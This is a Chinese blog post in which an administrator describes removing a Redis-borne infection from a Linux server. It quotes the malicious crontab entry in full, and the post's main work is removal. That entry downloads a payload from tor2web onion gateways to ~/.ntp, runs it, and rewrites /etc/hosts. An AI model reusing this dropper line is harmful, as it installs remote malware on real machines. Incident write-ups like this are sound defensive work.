病毒 入侵 redis 漏洞 导致 linux被植入病毒的处理方式

######

检查 时 crontab  已被清空 被以下脚本代替  

/bin/sh -c (tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  ${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.su/src/ldm3 -o ~/.ntp||${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -o ~/.ntp||${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -o ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.su/src/ldm3 -O ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -O ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -O ~/.ntp) && chmod +x ~/.ntp && sh ~/.ntp

清空 crontab  

ll /var/spool/cron/ -a

cd /var/spool/cron/ 

rm -rf ./*

rm -rf ./.*

杀死进程 定时任务启动的任务 

ps -ef|grep tbin|grep -v bash|grep -v sshd|awk '{print $2}|xargs -i{} kill -9 {} 

再次查看进程,不到一分钟发现脚本又重新启动

ps -aux|more  chkconfig --list  并没有发现可疑程序

再次杀死进程,并停止 crontab , 过了一会再次查看进程, 已经不存在了,可以确定是 crontab的问题, 

通过 定时任务里的url 地址 搜 定时任务配置文件, 搜到如下 其实是 伪装的Binary file  全部清除, 

[root@application01 ~]# grep -irnH 7xffbbbebumizpeg /*
Binary file /etc/cron.d/.vuhcwazfbpmgakhhoc matches
Binary file /etc/cron.d/.auwdfmcucuhaq matches
Binary file /etc/cron.d/.cpddmaaqgh matches
Binary file /etc/cron.d/.yaygulruw matches
Binary file /etc/cron.d/.fddjefx matches
Binary file /etc/cron.d/.bgvhyj matches
Binary file /etc/crontab matches
Binary file /home/123/root matches

然后启动crontab ,

再次检查进程没有再次启动

ps -aux|more

ps -ef|grep tbin

我的redis 并没有对外开放,依然被攻击了,具体如何被攻击的不在这里赘述了

需要注意 redis 切记 加密码访问

改行去放羊
原文地址:https://www.cnblogs.com/musen/p/13214218.html